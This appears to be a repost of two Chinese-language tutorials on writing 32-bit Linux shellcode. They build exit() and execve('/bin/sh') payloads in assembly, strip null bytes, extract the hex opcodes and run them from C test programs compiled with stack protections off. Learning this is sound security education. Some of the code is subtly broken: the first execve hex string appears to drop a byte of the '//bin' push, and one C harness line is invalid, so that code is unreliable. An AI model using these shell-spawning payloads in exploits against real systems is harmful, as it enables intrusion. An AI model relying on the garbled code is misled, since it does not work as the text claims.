Linux下shellcode的編寫


Linux下shellcode的編寫

來源  https://xz.aliyun.com/t/2052

EdvisonV / 2018-02-14 22:00:42 / 瀏覽數 6638 技術文章 技術文章

 

0x01 理解系統調用

shellcode是一組可注入的指令,可以在被攻擊的程序中運行。由於shellcode要直接操作寄存器和函數,所以必須是十六進制的形式。
那么為什么要寫shellcode呢?因為我們要讓目標程序以不同於設計者預期的方式運行,而操作的程序的方法之一就是強制它產生系統調用(system,call,syscall)。通過系統調用,你可以直接訪問系統內核。
在Linux里有兩個方法來執行系統調用,間接的方法是c函數包裝(libc),直接的方法是用匯編指令(通過把適當的參數加載到寄存器,然后調用int 0x80軟中斷)

廢話不多說,我們先來看看最常見的系統調用exit(),就是終止當前進程。

(注:本文測試系統是ubuntu-17.04 x86)

int main(void)
{
    exit(0);
}

(編譯時使用static選項,防止使用動態鏈接,在程序里保留exit系統調用代碼)
gcc -static -o exit exit.c

用gdb反匯編生成的二進制文件:

_exit+0行是把系統調用的參數加載到ebx。
_exit+4和_exit+15行是把對應的系統調用編號分別被復制到eax。
最后的int 0x80指令把cpu切換到內核模式,並執行我們的系統調用。

0x02 為exit()系統調用寫shellcode

在基本了解了一下exit()系統調用后,就可以開始寫shellcode了~
要注意的是我們的shellcode應該盡量地簡潔緊湊,這樣才能注入更小的緩沖區(當你遇到n字節長的緩沖區時,你不僅要把整個shellcode復制到緩沖區,還要加上調用shellcode的指令,所以shellcode必須比n小)。
在實際環境中,shellcode將在沒有其他指令為它設置參數的情況下執行,所以我們必須自己設置參數。這里我們先通過將0放入ebx中的方法來設置參數。
步驟大概是:

  • 把0存到ebx
  • 把1存到eax
  • 執行int 0x80指令來產生系統調用

根據這三個步驟來寫匯編指令:

Section .text
        global _start
_start:
        mov ebx, 0
        mov ax, 1
        int 0x80

然后用nasm編譯,生成目標文件,再用gun ld來連接:

nasm -f elf32 exit_shellcode.asm
ld -i exit_shellcode exit_shellcode.o

然后objdump就能顯示相應的opcode了:

看起來好像是成功了。但是很遺憾,這個shellcode在實際攻擊中可能會無法使用。
可以看到,這串shellcode中還有一些NULL(\x00)字符,當我們把shellcode復制到緩沖區時,有時候會出現異常(因為字符數組用null做終止符)。要編寫真正有用的shellcode我們還要想辦法把\x00消去。

首先我們看第一條指令(mov ebx, 0)將0放入ebx中。熟悉匯編的話就會知道,xor指令在操作數相等的情況下返回0,也就是可以在指令里不使用0,但是結果返回0,那么我們就可以用xor來代替mov指令了。
mov ebx, 0 --> xor ebx, ebx

再看第二條指令(mov ax, 1)為什么這條指令也會有null呢?我們知道,eax是32位(4個字節)的寄存器,而我們只復制了1個字節到了寄存器,而剩下的部分,系統會自動用null填充。熟悉eax組成的就知道,eax分為兩個16位區域,用ax可以訪問第一個區域,而ax又分為al和ah兩個區域。那么解決方法就是只要把1復制到al就行了。
mov eax, 1 --> mov al, 1
至此,我們已經將所有的null都清除了。

Section .text
        global _start
_start:
        xor ebx, ebx
        mov al, 1
        int 0x80

嗯,已經沒有\x00了。接下來就可以編寫個c程序來測試這個shellcode了。

char shellcode[] = "\x31\xdb"
                   "\xb0\x01"
                   "\xcd\x80";
int main(void)
{
    int *ret;
    ret = (int *)&ret + 2;
    (&ret) = (int)shellcode;
}

編譯后用strace來查看系統調用:

 

0x03 編寫execve()的shellcode

exit()可能沒什么意思,接下來我們做點更有趣的事情-派生root shell-控制整個目標系統。
在Linux里,有兩種方法創建新進程:一是通過現有的進程來創建,並替換正在活動的;二是利用現有的進程來生成它自己的拷貝,並在它的位置運行這個新進程。而execve()系統調用就可以在現有的進程空間里執行其他的進程。
接下來我們開始一步步寫execve的shellcode:

1.查找execve的系統調用號碼:

 


可以在如圖的系統目錄中找到execve的系統調用號碼:11

2.接下來我們需要知道它作為輸入的參數,用man手冊就可以查看:

 

3個參數必須包含以下內容:

  • filename必須指向包含要執行的二進制文件的路徑的字符串。在這個栗子中,就是字符串[/ bin / sh]。
  • argv []是程序的參數列表。大多數程序將使用強制性/選項參數運行。而我們只想執行“/ bin / sh”,而沒有任何更多的參數,所以參數列表只是一個NULL指針。但是,按照慣例,第一個參數是我們要執行的文件名。所以,argv []就是['/ bin / sh',00000000]
  • envp []是要以key:value格式傳遞給程序的任何其他環境選項的列表。為了我們的目的,這將是NULL指針\0x00000000

3.和exit()一樣,我們使用int 0x80的系統調用。注意要在eax中包含execve的系統調用號“11”。

4.接下來就可以開始編寫shellcode了,節約時間,我在這直接放上寫好的shellcode並加上了注釋:

需要解釋的是向堆棧中反向推送//bin/sh。我們知道在x86堆棧中是從高地址到低地址的,所以要輸入反向的字符串。同樣,使用為4的倍數的最短指令會更容易些。
而/bin/sh是7個字節,怎么把它變成8個字節呢?很簡單,加個/就ok了。因為在Linux中,多幾個/都不會有問題的,像這樣:p

然后用python來生成hs/nib//的十六進制吧:

然后將它們入棧就好。其他的看注釋應該都能懂,就不多說了。

5.編譯運行成功后用objdump查看:

這里分享一個方便提取shellcode的指令,來源

objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

6.shellcode已經提取成功了,接下來用c程序來驗證一下:

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
  printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

編譯運行
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

成功:D

0x04 參考鏈接

http://www.vividmachines.com/shellcode/shellcode.html
http://www.cnblogs.com/feisky/archive/2009/10/23/1588737.html

 

-------------------------------------------------------

Linux 下一個簡單的shellcode編寫

來源 https://www.cnblogs.com/elvirangel/p/6974580.html

 

0x00 前言

 漏洞利用中必不可缺的部分就是shellcode,不會編寫shellcode和咸魚有什么區別,跳出咸魚第一步。

0x01 系統調用

 通過系統調用execve函數返回shell

1
2
3
4
5
6
7
8
C語言實現: #include<unistd.h>
#include<stdlib.h>
char  * buf []  =  { "/bin/sh" ,NULL};
int main(void)
{
           execve( "/bin/sh" ,buf, 0 );
           exit( 0 );
}

execve函數在父進程中fork一個子進程,在子進程中調用exec函數啟動新的程序。execve()用來執行第一參數字符串所代表的文件路徑,第二個參數是利用指針數組來傳遞給執行文件,並且需要以空指針(NULL)結束,最后一個參數則為傳遞給執行文件的新環境變量數組。從程序中可以看出,如果通過C語言調用execve來返回shell的話,首先需要引入相應的頭文件,然后在主函數中調用系統調用函數execve;同時傳入三個參數。

1
2
3
編譯運行,獲得shell   $ . / shellcode
$ whoami
elvirangel

32位linux內核的系統調用表可以通過http://syscalls.kernelgrok.com/網站來查詢,我們這里獲得shell只需用到execve函數

這里execve函數系統調用號為11,圖中也給出了對應寄存器中保存的參數值

0x02 匯編形式編寫shellcode

1. Int 0x80軟中斷

int 0x80軟中斷是系統中斷,根據中斷號和相關寄存器設置調用對應系統函數

2. 開始編寫shellcode

1
2
3
4
5
6
7
8
9
10
11
global  _start
_start:
mov eax, 0  ;eax置 0
mov edx, 0  ;edx置 0
push edx
push  "/sh"
push  "/bin"   ;將 / bin / sh存入棧中
mov ebx,esp  ;ebx指向 / bin / sh字符串
xor eax,eax
mov al, 0Bh    ;eax置為execve函數中斷號
int  80h

保存為shellcode.asm,通過編譯鏈接,然后運行,獲得shell

1
2
3
4
elvirangel@elvirangel - virtual - machine:~ / DIY$ nasm  - f elf32 shellcode.asm
elvirangel@elvirangel - virtual - machine:~ / DIY$ ld  - m elf_i386  - o shellcode shellcode.o
elvirangel@elvirangel - virtual - machine:~ / DIY$ . / 001
$ whoami<br>elvirangel

獲得機器碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ objdump  - d shellcode
shellcode:      file  format  elf32 - i386
Disassembly of section .text:
 
08048060  <_start>:
  8048060 :   b8  00  00  00  00           mov    $ 0x0 , % eax
  8048065 :   ba  00  00  00  00           mov    $ 0x0 , % edx
  804806a :    52                       push    % edx
  804806b :    68  2f  73  68  00           push   $ 0x68732f
  8048070 :    68  2f  62  69  6e           push   $ 0x6e69622f
  8048075 :    89  e3                   mov     % esp, % ebx
  8048077 :    31  c0                   xor     % eax, % eax
  8048079 :   b0  0b                    mov    $ 0xb , % al
  804807b :   cd  80                    int     $ 0x80

發現機器碼中有許多/x00字節,shellcode中存在/x00字節在進行利用的時候會被截斷,所以我們要避免出現/x00字節,重新修改我們的匯編程序

1
2
3
4
5
6
7
8
9
10
11
global  _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push  "//sh"
push  "/bin"
mov ebx,esp
xor eax,eax
mov al, 0Bh
int  80h

編譯鏈接運行,得到機器碼

1
2
3
4
5
6
7
8
9
10
11
12
13
$ objdump  - d . / shellcode
. / shellcode:      file  format  elf32 - i386
Disassembly of section .text:
  08048060  <_start>:
  8048060 :    31  c9                   xor     % ecx, % ecx
  8048062 :    31  d2                   xor     % edx, % edx
  8048064 :    52                       push    % edx
  8048065 :    68  2f  2f  73  68           push   $ 0x68732f2f
  804806a :    68  2f  62  69  6e           push   $ 0x6e69622f
  804806f :    89  e3                   mov     % esp, % ebx
  8048071 :    31  c0                   xor     % eax, % eax
  8048073 :   b0  0b                    mov    $ 0xb , % al
  8048075 :   cd  80                    int     $ 0x80

沒有出現/x00字節,得到最終的 shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

0x03 后記

剛接觸,很多細節沒有討論,詳情請看參考鏈接

0x04 參考

手把手簡易實現shellcode及詳解

Linux shellcode 編寫入門

 

================ End

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM